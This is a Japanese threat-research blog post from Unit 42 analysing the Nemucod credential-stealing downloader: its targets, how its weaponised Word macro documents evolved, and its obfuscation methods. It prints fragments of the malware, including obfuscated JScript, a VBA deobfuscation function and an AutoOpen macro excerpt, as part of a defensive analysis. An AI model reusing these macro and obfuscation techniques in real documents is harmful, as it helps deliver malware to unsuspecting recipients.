[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.jp/)  
[![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/ja/)  
Menu

* [セキュリティ コンサルティング](https://www.paloaltonetworks.com/unit42)
* [**現在、攻撃を受けていますか?**](https://start.paloaltonetworks.com/contact-unit42.html)  
  Japanese
* [English](https://unit42.paloaltonetworks.com/unit42-practice-makes-perfect-nemucod-evolves-delivery-obfuscation-techniques-harvest-credentials/)
* [Japanese](https://unit42.paloaltonetworks.com/ja/unit42-practice-makes-perfect-nemucod-evolves-delivery-obfuscation-techniques-harvest-credentials/)
* [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research")
* [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/ "脅威リサーチ")
* [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/ "マルウェア")  
  [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/)

# 継続は力なり:ダウンローダー Nemucod、進化しつつ認証情報窃取を試みる

![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 9 分で読めます  
Related Products  
[![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/ja/product-category/advanced-wildfire-ja/ "Advanced WildFire")

* ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg)  
  著者:
  
  * [Alex Hinchliffe](https://unit42.paloaltonetworks.com/ja/author/alex-hinchliffe/)

* ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg)  
  公開日:2017年5月11日

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg)  
  カテゴリー
  
  * [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/)
  * [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/)

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg)  
  タグ:
  
  * [Credential theft](https://unit42.paloaltonetworks.com/ja/tag/credential-theft-ja/)
  * [Encoded JavaScript](https://unit42.paloaltonetworks.com/ja/tag/encoded-javascript-ja/)
  * [Grizzly Steppe](https://unit42.paloaltonetworks.com/ja/tag/grizzly-steppe-ja/)
  * [JSE](https://unit42.paloaltonetworks.com/ja/tag/jse-ja/)
  * [Macro](https://unit42.paloaltonetworks.com/ja/tag/macro-ja/)
  * [Nemucod](https://unit42.paloaltonetworks.com/ja/tag/nemucod-ja/)
  * [Scripting](https://unit42.paloaltonetworks.com/ja/tag/scripting-ja/)

* [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/ja/unit42-practice-makes-perfect-nemucod-evolves-delivery-obfuscation-techniques-harvest-credentials/?pdf=download&lg=ja&_wpnonce=ac4b3be3b8 "Click here to download")

* [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/ja/unit42-practice-makes-perfect-nemucod-evolves-delivery-obfuscation-techniques-harvest-credentials/?pdf=print&lg=ja&_wpnonce=ac4b3be3b8 "Click here to print")

共有![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg)

* ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg)
* [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=継続は力なり:ダウンローダー%20Nemucod、進化しつつ認証情報窃取を試みる&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Funit42-practice-makes-perfect-nemucod-evolves-delivery-obfuscation-techniques-harvest-credentials%2F "Share in email")
* [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Funit42-practice-makes-perfect-nemucod-evolves-delivery-obfuscation-techniques-harvest-credentials%2F "Share in Facebook")
* [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Funit42-practice-makes-perfect-nemucod-evolves-delivery-obfuscation-techniques-harvest-credentials%2F&title=継続は力なり:ダウンローダー%20Nemucod、進化しつつ認証情報窃取を試みる "Share in LinkedIn")
* [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Funit42-practice-makes-perfect-nemucod-evolves-delivery-obfuscation-techniques-harvest-credentials%2F&text=継続は力なり:ダウンローダー%20Nemucod、進化しつつ認証情報窃取を試みる "Share in Twitter")
* [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Funit42-practice-makes-perfect-nemucod-evolves-delivery-obfuscation-techniques-harvest-credentials%2F&ts=markdown "Share in Reddit")
* [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=継続は力なり:ダウンローダー%20Nemucod、進化しつつ認証情報窃取を試みる%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Funit42-practice-makes-perfect-nemucod-evolves-delivery-obfuscation-techniques-harvest-credentials%2F "Share in Mastodon")

## 概要

先日公表したホワイトペーパー『[Unit 42 white paper Credential-Based Attacks](https://www.paloaltonetworks.com/resources/research/unit-42-credential-based-attacks)』（リンク先英語）では、攻撃者にとっていかに認証情報が重要であるか説明しています。このほか、重要な認証情報を窃取するため、Nemucode キャンペーンのような認証情報窃取用トロイの木馬を含めたさまざまなマルスパム フィッシング テクニックが、どのように駆使されるかについても紹介しています。さらに、盗んだ認証情報を使ってどのようにして攻撃者が正当なユーザーを装うかについても説明しています。

調査チームが過去 5 ヶ月、Nemucod マルウェアの攻撃キャンペーンを追跡したところ、Nemucod マルウェアの攻撃数最多を記録したのはヨーロッパで、米国、日本がその後に続き、対象となった組織の種別も複数にまたがっていました (図 1、2参照) 。  
![図 1: Nemucod の攻撃対象国（円の大きさは攻撃セッション数を示します）](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/87205/%EF%BC%91.png) 図 1: Nemucod の攻撃対象国（円の大きさは攻撃セッション数を示します）  
![図 2: 狙われた組織種別（攻撃セッション数別）](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/87205/%EF%BC%92.png) 図 2: 狙われた組織種別（攻撃セッション数別）

図 1 が示すとおり、単独で最多の影響を受けたのはスペインで、主な要因としては図 2 に示されている士業関連の中で、特に法務分野が攻撃されたことが挙げられます。また、同じ要因でベルギーの攻撃総数も押し上げられています。電力が士業関連に続き、そのほぼすべての攻撃がフランスを対象としたものでした。医療系については、スペインへの攻撃が多くを占めています。また図 3 に示す産業分野別影響のワースト 10 の最後に挙げられているエネルギー系は主に英国での活動によるものでした。証券分野と投資分野はほとんどが米国、英国、ノルウェーのトラフィックによるものです。日本でみられた悪意のあるトラフィックはハイテク産業への攻撃によるものでした。
![図 3: ヨーロッパ各国への影響、攻撃セッション数別](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_3.png) 図 3: ヨーロッパ各国への影響、攻撃セッション数別

図 4 が示すとおり、マルウェアの大部分は電子メール (SMTP、POP3、および IMAP アプリケーション) 経由で着信し、そのほとんどがポーランドを送信元としていました。そうでない場合も、ポーランド語のドメイン名のついたメールアドレスを送信元として利用していました。受信者の電子メールアドレスはさまざまですが、名前や LinkedIn のアカウント詳細から見てその多くが有効なメールアドレスであったようです。このほかの一部のセッションについては webブラウザアプリケーション経由で着信しており、これらはモルドバの IP アドレス範囲として帰着される web サイトからダウンロードされていました。この詳細については後述します。  
![図 4: Nemucod が利用した攻撃セッション数別上位のネットワークアプリケーション](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/87205/4.png) 図 4: Nemucod が利用した攻撃セッション数別上位のネットワークアプリケーション

本稿では以下、その当時からの本マルウェアの進化について見ていきながら、次の内容についても解説します。

* 兵器化された文書の進化
* 攻撃者が利用していると推測されるインフラを含むワークフローやセットアップについての考察
* 使われた難読化テクニックとソーシャル エンジニアリング テクニック
* 認証情報窃取のペイロード

### **技術的分析**

#### ドロッパーの進化

2017 年 1 月期の短期間、攻撃者がエンコード済 JScript のコンテンツを Delphi でコンパイルしたドロッパー実行形式ファイルとして配布したことがありました。ただしこれ以外のほぼすべての期間については、Visual Basic for Applications (VBA) で Nemucod のインストールコードを書き、これを Microsoft Office マクロとして埋め込むことで兵器化した文書の使用のみが観測されていました。とくに近年のマルウェアを含む文書数について考えると、攻撃者がなぜ短期間だけ兵器化した文書ファイルから実行ファイルにシフトして、また方針を戻したかについては不明です。自身の攻撃技能や被害者の対応力をテストしたかったのかもしれません。

2016年10月から2017年3月にわたり、Unit 42 チームは合計で 50 バージョン以上のこうした兵器化された文書を発見しています。これらの文書をもとにしたタイムラインは下記の通りです。本ブログのこれ以降の各セクションでは、このタイムラインを参照しつつ、進化の途上で本マルウェアに加えられた変更とその理由を考察していきます。
![図 5: Nemucod を使用した文書の進化のタイムライン](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/87205/5.png) 図 5: Nemucod を使用した文書の進化のタイムライン

注意: この図は確認済みのすべてのバージョンを網羅していません。大きな変化とみなすべき出来事だけを示しています。ただし図は 2016 年 10 月 23 日に作成され、最終更新日は同 25 日となっており、同 26 日に弊社のクラウド脅威分析WildFireによって最初に発見されたバージョンから記載しています。

全バージョンの兵器化された文書のドロッパーに共通しているのは、VBA コードにパスワードによる保護が設定されていることです(以下図 6 参

照)。攻撃者はパスワード保護によってリサーチャーによる分析を回避しようと試みたようです。リサーチャーに正当な文書であると印象づける意図もあったかもしれません。または、セキュリティ製品がパスワード保護の有無をチェックして正当な文書かどうかを判断する可能性を見込んだのかもしれません。
![図 6: コードを保護するためパスワードが設定された VBA エディタ](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_6.png) 図 6: コードを保護するためパスワードが設定された VBA エディタ

このほか全バージョンに共通しているのが、高度に難読化された JScript ペイロードです。図 7はその一部 です。難読化においては、見たところランダムに生成したと思われる変数名や Unicode による文字エンコード (例 \\u00xx。xx は ASCII 文字コード表現) が多用されています。さらに、分割した文字列をつなぎ合わせたり、文字列から文字を拾い出したりするために、必要性のない計算を加えています。こうした難読化は主にシグネチャをもとにした検出技術を回避するために利用されますが、WildFire のようなサンドボックス型システムによる動的分析に対しては、ほぼ全く効果がありません。ただし手動で分析をする場合、こうした難読化によって手間と解析にかかる時間を増やす要因にはなります。  
esesop\_famous4='symbol';esesop\_However7='breaking';esesop\_pillar7='Paolo';esesop\_pretends='Leading';esesop\_comfortable='quattrocento1';esesop\_PABLO='artistic10';esesop\_Raphael7='Durer5';esesop\_Picasso='demonstrates';esesop\_clearly5='between';esesop\_TURNER5='being3';esesop\_famous8='renewal';esesop\_often1='expressionism';esesop\_Abstract7='MARCEL8';esesop\_above='loose7';esesop\_many1='years';esesop\_courtesan='modernism10';esesop\_with='FRIDA';esesop\_JACKSON='romanticism';esesop\_Sistine='Quattrocento';var esesop\_considered=this\[\[''+String\[{p0:'\\u0066'}.p0+{p0:'\\u0072'}.p0+{p1:'\\u006f'}.p1+{p\_t1:'\\u006d'}.p\_t1+{p\_s0:'\\u0043'}.p\_s0+{p\_1:'\\u0068'}.p\_1+{p\_l0:'\\u0061'}.p\_l0+{p0:'\\u0072'}.p0+{p3:'\\u0043'}.p3+{p\_1:'\\u006f'}.p\_1+{p\_f2:'\\u0064'}.p\_f2+{p\_h2:'\\u0065'}.p\_h2\](Math\[{p\_3:'\\u006d'}.p\_3+{p\_M2:'\\u0061'}.p\_M2+{p3:'\\u0078'}.p3\](87,\[\]))+'',

|---|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 | esesop\_famous4='symbol';esesop\_However7='breaking';esesop\_pillar7='Paolo';esesop\_pretends='Leading';esesop\_comfortable='quattrocento1';esesop\_PABLO='artistic10';esesop\_Raphael7='Durer5';esesop\_Picasso='demonstrates';esesop\_clearly5='between';esesop\_TURNER5='being3';esesop\_famous8='renewal';esesop\_often1='expressionism';esesop\_Abstract7='MARCEL8';esesop\_above='loose7';esesop\_many1='years';esesop\_courtesan='modernism10';esesop\_with='FRIDA';esesop\_JACKSON='romanticism';esesop\_Sistine='Quattrocento';var esesop\_considered=this\[\[''+String\[{p0:'\\u0066'}.p0+{p0:'\\u0072'}.p0+{p1:'\\u006f'}.p1+{p\_t1:'\\u006d'}.p\_t1+{p\_s0:'\\u0043'}.p\_s0+{p\_1:'\\u0068'}.p\_1+{p\_l0:'\\u0061'}.p\_l0+{p0:'\\u0072'}.p0+{p3:'\\u0043'}.p3+{p\_1:'\\u006f'}.p\_1+{p\_f2:'\\u0064'}.p\_f2+{p\_h2:'\\u0065'}.p\_h2\](Math\[{p\_3:'\\u006d'}.p\_3+{p\_M2:'\\u0061'}.p\_M2+{p3:'\\u0078'}.p3\](87,\[\]))+'', |

*図 7: 難読化された JScript コード*

図 5 のタイムラインで4 番目の項目に示した、10 月終わりにかけて登場した初期バージョンの1つでは、余分な ASCII 文字の暗号難読化レイヤ (サンプルを図 8 に記載) を追加し、同時に当該難読化レイヤの解読用 VBA コードも追加しています (図 9)。この暗号難読化レイヤから、攻撃者がなんとか検出を免れようとしている様子が分かります。  
6D6D@A072\&amp;gt;@FDclVDJ\&amp;gt;3@=Vj6D6D@A0w@H6G6CflV3C62\&amp;lt;:?8Vj6D6D@A0A:==2CflV!2@=@Vj6D6D@A0AC6E6?5DlV{625:?8Vj6D6D@A04@\&amp;gt;7@CE23=6lVBF2EEC@46?E@\`Vj6D6D@A0!pq{~lV2CE:DE:4\`\_Vj6D6D@A0#2A926=flVsFC6CdVj6D6D@A0!:42DD@lV56\&amp;gt;@?DEC2E6DVj6D6D@A04=62C=JdlV36EH66?Vj6D6D@A0%"

|---|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 | 6D6D@A072\&amp;gt;@FDclVDJ\&amp;gt;3@=Vj6D6D@A0w@H6G6CflV3C62\&amp;lt;:?8Vj6D6D@A0A:==2CflV!2@=@Vj6D6D@A0AC6E6?5DlV{625:?8Vj6D6D@A04@\&amp;gt;7@CE23=6lVBF2EEC@46?E@\`Vj6D6D@A0!pq{~lV2CE:DE:4\`\_Vj6D6D@A0#2A926=flVsFC6CdVj6D6D@A0!:42DD@lV56\&amp;gt;@?DEC2E6DVj6D6D@A04=62C=JdlV36EH66?Vj6D6D@A0%" |

*図 8: 追加された難読化 JScript コードのレイヤ*  
Function Ghost(str) Dim i, j, k, r j = Len(str) r = "" For i = 1 To j k = Asc(Mid(str, i, 1)) If k \&gt;= 33 And k \&lt;= 126 Then r = r \&amp; Chr(33 + ((k + 14) Mod 94)) Else r = r \&amp; Chr(k) End If Next Ghost = r End Function

|----------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | Function Ghost(str) Dim i, j, k, r j = Len(str) r = "" For i = 1 To j k = Asc(Mid(str, i, 1)) If k \&gt;= 33 And k \&lt;= 126 Then r = r \&amp; Chr(33 + ((k + 14) Mod 94)) Else r = r \&amp; Chr(k) End If Next Ghost = r End Function |

*図9: Jscript 難読化用に追加されたレイヤのために VBA で書かれた難読化解読コード*

攻撃者が JScript コードの難読化テクニックを磨くのにはしばらく時間がかかったようですが、同年 12 月の半ば頃にはカスタムメイドの ASCII 暗号に替えて Microsoft Script Encoding を利用したバージョンが出回りはじめます。単純化を目的としたのかもしれませんし、修正の難しい不具合があったのかもしれません。

このようなエンコードが加えられたコンテンツの多くが .JSE の拡張子のついたファイルに格納されていますが、攻撃者はファイル先頭にマジックナンバー「**#@~^**」が存在するかどうかも慎重にチェックしています。以下はその様子を示しています。  
$ hexdump -C wx64.jse | head 00000000 23 40 7e 5e 4c 58 51 42 41 41 3d 3d 64 5e 57 4f |#@~^LXQBAA==d^WO| 00000010 7f 5c 7f 44 43 6d 5c 7f 2b 2a 7b 20 31 26 70 2f |.\\.DCm\\.+\*{ 1\&amp;p/|

|-------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 | $ hexdump -C wx64.jse | head 00000000 23 40 7e 5e 4c 58 51 42 41 41 3d 3d 64 5e 57 4f |#@~^LXQBAA==d^WO| 00000010 7f 5c 7f 44 43 6d 5c 7f 2b 2a 7b 20 31 26 70 2f |.\\.DCm\\.+\*{ 1\&amp;p/| |

*図 10: Microsoft 社の Script Encoding を使い、さらに JScript コードを難読化*

#### **人は見かけによらぬもの、文書は拡張子によらぬもの**

兵器化された文書からメタデータその他の情報を抽出すると、調査上役に立つ考察を得られる場合があります。もちろんこうしたデータはほとんどが偽装されたものだという可能性もあります (実際[ほかのリサーチャーがそうした例を示したこともあります](https://blog.kaspersky.co.uk/office-documents-metadata/8494/)\[リンク先英語\])し、単純に無意味なものである可能性もあります。ただしこの事例では非常に多くの興味深い変数データや情報が見つかり、そこから相応に確度の高い結論を引き出すことができます。

以下の図表を眺めると、この脅威の背後にいるグループが攻撃キャンペーンに使用したマルウェアをどのように進化させてきたかというパターンが浮かび上がってきます。このパターンは、ソフトウェア開発をチームでおこなう際のパターンに非常によく似ています。つまり、チームで新規プロジェクトに着手し、あるバージョンはメジャーバージョン、またあるバージョンはマイナーバージョンとして時間をかけてコードを修正する場合のパターンにそっくりなのです。

図 11 に各兵器化文書の変更回数をグラフで表示しています。また同じ図表内に、各文書の本文に含まれる単語数も重ねて表示しています。ここからあるパターンが見えてきます。  
![図11: 各文書の変更回数(右軸)とその本文に含まれるワード数(左軸)をグラフ化](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/87205/11.png) 図11: 各文書の変更回数(右軸)とその本文に含まれるワード数(左軸)をグラフ化

兵器化された文書の初期バージョン、つまり10 月下旬頃の文書プロパティを確認すると、変更回数が非常に多く、最も多い場合で 192回変更していることが分かります。これはその後に続くすべてのバージョンと比べても突出しています。攻撃者が作成した最初のバージョンが実際にこの 10 月下旬の初期バージョンであり、その後何度も変更し、努力を重ねたと考えれば、この編集回数の変化をうまく説明することができます。つまり、これもまたソフトウェア開発者が最初に開発したバージョンによく似ているのです。

また、ほとんどのバージョンで、たとえばプロジェクト名や説明部分に、デフォルトの VBA プロジェクトのプロパティ情報だけを使用するようにしているようですが、初期バージョンを解析すると、そうした制限をしていなかった様子が見て取れます。以下の図 12 はカスタムで設定されたプロジェクト説明です。
![図 12: 初期バージョンで使用された VBA プロジェクトの説明 （Project Descriptionのところに記載されたセリフ：何か計画があるのか？ホワイト先生、化学だよ！）](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_8.png) 図 12: 初期バージョンで使用された VBA プロジェクトの説明 （Project Descriptionのところに記載されたセリフ：何か計画があるのか？ホワイト先生、化学だよ！）

このセリフに見覚えがない人は、下の図 13 をみるとその文脈が理解できるかもしれません。
![図 13: 米国の TV ドラマ「ブレイキング・バッド」シーズン 1 エピソード 7 より](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_9.png) 図 13: 米国の TV ドラマ「ブレイキング・バッド」シーズン 1 エピソード 7 より

最初のバージョンでプロジェクトの説明に使われているこの引用は、米国の犯罪ドラマ テレビ シリーズ『ブレイキング・バッド』シーズン1 エピソード7 からそのままコピーされたものです。

***警告: 以下の内容はドラマのネタバレを含みます。***

この文言への引用をマルウェアに含めたのはこの攻撃者にとっては適切な行為だったのだろうと考えられます。というのも、本テレビシリーズで、ある登場人物が家族を支えるためにやむなく犯罪者に身を落とすことになるように、このマルウェア キャンペーンの背後にいる人物またはグループもまた、人生のある時点で良識ある市民からサイバー犯罪者に転身したに違いないからです。

これ以外のバージョンについても、先に述べた初期バージョンの 192回の変更回数と同様、マルウェアの進化途上で重要な更新や機能のリリースが行われるタイミングで回数が平均を上回る様子が見られます。これもまた、ソフトウェアのメジャーバージョンのリリースによく似ています。詳細については後述しますが、「なぜ、それまでゼロだった単語数が 11 月 30 日に突然 6000 単語以上に跳ね上がり、その後ずっと増加しつづけ、最終的に最新バージョンでは元の 3 倍以上の単語数を含むようになるものが出てきたのか」という点の重要性については言及しなければなりません。この期間にリリースされた各文書の単語数は増加していますが、難読化の技術向上はかなり停滞していました。ここから、この期間中により多くの機能が追加され、コーディング量が増えていたのだろうと推測できます。

こうした兵器化文書の単語数と変更に伴う編集にかけた時間を比較すると、前述の進化パターンがさらに見えてきます。図 14 はいくつかの興味深い点を示しています。

まず、初期バージョンの編集にはもっとも時間が掛かっています (2日間にまたがっている)。次にもっとも編集に時間がかかったのは 11 月 30 日です。このタイミングは前述した単語数の急増 (ゼロから 6000 単語以上) と合致しています。  
![図14: 各バージョンでの編集数をあらわすチャート](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/87205/14.png) 図14: 各バージョンでの編集数をあらわすチャート

11 月 30 日は、間違いなく攻撃者の利用する技術に重要な変更があった日でした。その後の調査により、これら 2 つの日付の間で攻撃者は VBA コード内にスタティックに格納していたエンコード済み JScript コードをWord文書自体に移動する変更を行っていたことがわかりました。

#### **どのぐらいの VBA だと多すぎる?**

これまで見てきた11 月 30 日以前のすべてのバージョンでは、被害者が文書を開くと自動的にコードが実行されるよう、Word の AutoOpen マクロの VBA コード内に JScript を格納していました。ただしこの JScript は、難読化はされているもののエンコードはされていませんでした。図 15 はこのコードを一部抽出したものですが、数百行分以上のコードを省略しています。太字でハイライトした部分が難読化した JScript のコードの塊を配列オブジェクトに格納しているコードです。この後この配列オブジェクトからコードが 1 行ずつ取り出されて処理され、再構成された後ディスクに単一 .JSE ファイルとして書き出されます。書き出された .JSE ファイルは Microsoft Windows Script Host 実行ファイル (wscript.exe) によって実行されます。VBA コードは高度に複雑化され、数々の関数名やオブジェクト名が不必要に分割されたりつなぎ合わされたりして実行時に文法上は正しくなるように工夫されていました。これもまた技術者による手動分析を妨げることを目的としたものでしょう。  
Sub AutoOpen() '========================================================================== Dim objSysInfo: Set objSysInfo = CreateObject("WinNTSystemInfo") Dim objFSO: Set objFSO = CreateObject("Scripting.FileSystemObject") Dim objShell: Set objShell = CreateObject("Shell.Application") Dim objDic: Set objDic = CreateObject("Scripting.Dictionary") Dim objPO: Set objPO = CreateObject("Scripting.Dictionary") Dim wsh: Set wsh = VBA.CreateObject("WScript.Shell") '========================================================================== Dim filepath As String: filepath = Empty Dim tempcode12 As String: tempcode12 = Empty Dim hash12 As String: hash12 = Empty Dim strComputerName As String: strComputerName = Empty Dim objFile, empty12, filets, ver, out1, proc Dim hash#, upper\&amp;, i\&amp; Dim now, mimi As Long Const max# = 2 ^ 31 With objDic .Add "g1", "angul\_tryingI=0.669;angul\_something=0.105;angul\_never6=0.879;angul\_shes=913;angul\_aware8=0.663;angul\_said=846;angul\_cold=739;angul\_life7=0.927;angul\_dare3=370;angul\_sees=0.96;angul\_whole8=0.31;angul\_yourself=707;angul\_goneShe=0.21;var angul\_stayEven1" .Add "g2", "={\_lo3:'\\u0045'}.\_lo3+{\_m1:'\\u006e'}.\_m1+{\_d2:'\\u0074'}.\_d2+{\_1:'\\u0065'}.\_1+{\_th3:'\\u0072'}.\_th3+{\_ah1:'\\u0020'}.\_ah1+{\_re1:'\\u0074'}.\_re1+{\_d0:'\\u0068'}.\_d0+{\_0:'\\u0065'}.\_0+{\_K3:'\\u0020'}.\_K3+{\_wi1:'\\u0074'}.\_wi1+{\_n1:'\\u0065'}.\_n1+{\_w1:'\\u0078'}." .Add "g3", "\_w1+{\_re0:'\\u0074'}.\_re0+{\_sh3:'\\u0020'}.\_sh3+{\_0:'\\u0074'}.\_0+{\_t3:'\\u006f'}.\_t3+{\_y2:'\\u0020'}.\_y2+{\_1:'\\u0065'}.\_1+{\_pr0:'\\u006e'}.\_pr0+{\_w1:'\\u0063'}.\_w1+{\_j2:'\\u006f'}.\_j2+{\_h0:'\\u0064'}.\_h0+{\_fa1:'\\u0065'}.\_fa1+{\_3:'\\u0020'}.\_3+{_j0:'\\u0074'}._" ...

|----------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | Sub AutoOpen() '========================================================================== Dim objSysInfo: Set objSysInfo = CreateObject("WinNTSystemInfo") Dim objFSO: Set objFSO = CreateObject("Scripting.FileSystemObject") Dim objShell: Set objShell = CreateObject("Shell.Application") Dim objDic: Set objDic = CreateObject("Scripting.Dictionary") Dim objPO: Set objPO = CreateObject("Scripting.Dictionary") Dim wsh: Set wsh = VBA.CreateObject("WScript.Shell") '========================================================================== Dim filepath As String: filepath = Empty Dim tempcode12 As String: tempcode12 = Empty Dim hash12 As String: hash12 = Empty Dim strComputerName As String: strComputerName = Empty Dim objFile, empty12, filets, ver, out1, proc Dim hash#, upper\&amp;, i\&amp; Dim now, mimi As Long Const max# = 2 ^ 31 With objDic .Add "g1", "angul\_tryingI=0.669;angul\_something=0.105;angul\_never6=0.879;angul\_shes=913;angul\_aware8=0.663;angul\_said=846;angul\_cold=739;angul\_life7=0.927;angul\_dare3=370;angul\_sees=0.96;angul\_whole8=0.31;angul\_yourself=707;angul\_goneShe=0.21;var angul\_stayEven1" .Add "g2", "={\_lo3:'\\u0045'}.\_lo3+{\_m1:'\\u006e'}.\_m1+{\_d2:'\\u0074'}.\_d2+{\_1:'\\u0065'}.\_1+{\_th3:'\\u0072'}.\_th3+{\_ah1:'\\u0020'}.\_ah1+{\_re1:'\\u0074'}.\_re1+{\_d0:'\\u0068'}.\_d0+{\_0:'\\u0065'}.\_0+{\_K3:'\\u0020'}.\_K3+{\_wi1:'\\u0074'}.\_wi1+{\_n1:'\\u0065'}.\_n1+{\_w1:'\\u0078'}." .Add "g3", "\_w1+{\_re0:'\\u0074'}.\_re0+{\_sh3:'\\u0020'}.\_sh3+{\_0:'\\u0074'}.\_0+{\_t3:'\\u006f'}.\_t3+{\_y2:'\\u0020'}.\_y2+{\_1:'\\u0065'}.\_1+{\_pr0:'\\u006e'}.\_pr0+{\_w1:'\\u0063'}.\_w1+{\_j2:'\\u006f'}.\_j2+{\_h0:'\\u0064'}.\_h0+{\_fa1:'\\u0065'}.\_fa1+{\_3:'\\u0020'}.\_3+{_j0:'\\u0074'}._" ... |

*図 15: 難読化された JScript コードが VBA コードに格納されている*

11 月 30 日以降は図 16 が示すようにこの VBA コードが 10 行以下のコードに置き換えられました。このコードは単純に Word 文書のテキストコンテンツを読み出して .JSE ファイルに書き込んでいます。この小さな VBA コードの難読化は時間の経過とともに若干変化しました。複雑に入り組んだ文法を使い、分割しておいた文字列を実行時に再結合してファイル名として使うなどの方法を採用することで、文字列やシグネチャにもとづいた検出を難しくしています。
![図 16: 文書本文に格納された難読化した JScript コードを取得する VBA コード](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_11.png) 図 16: 文書本文に格納された難読化した JScript コードを取得する VBA コード

図 16 のコードからもわかるとおり、.JSE ファイルはディスク上の文書の存在するフォルダと同じフォルダ内に文書と同じ名前で、拡張子だけ .JSE に変更して書き出されます。たとえばこの文書が foobar.doc というファイル名でデスクトップに置かれていれば、foobar.doc.jse というファイルがデスクトップに現れます。

VBA コードの ActiveDocument.Content.Text が Word 文書から難読化された JScript コンテンツを取得します。図 17 に表示したあるバージョンの事例では 24 ページもの長さがありますが、この図からもわかるとおり、文書は空白のように見えます。24 ページをすべて選択し、フォントの色を白以外にすると、図 18 に示すように悪意のあるコードが見えるようになります。
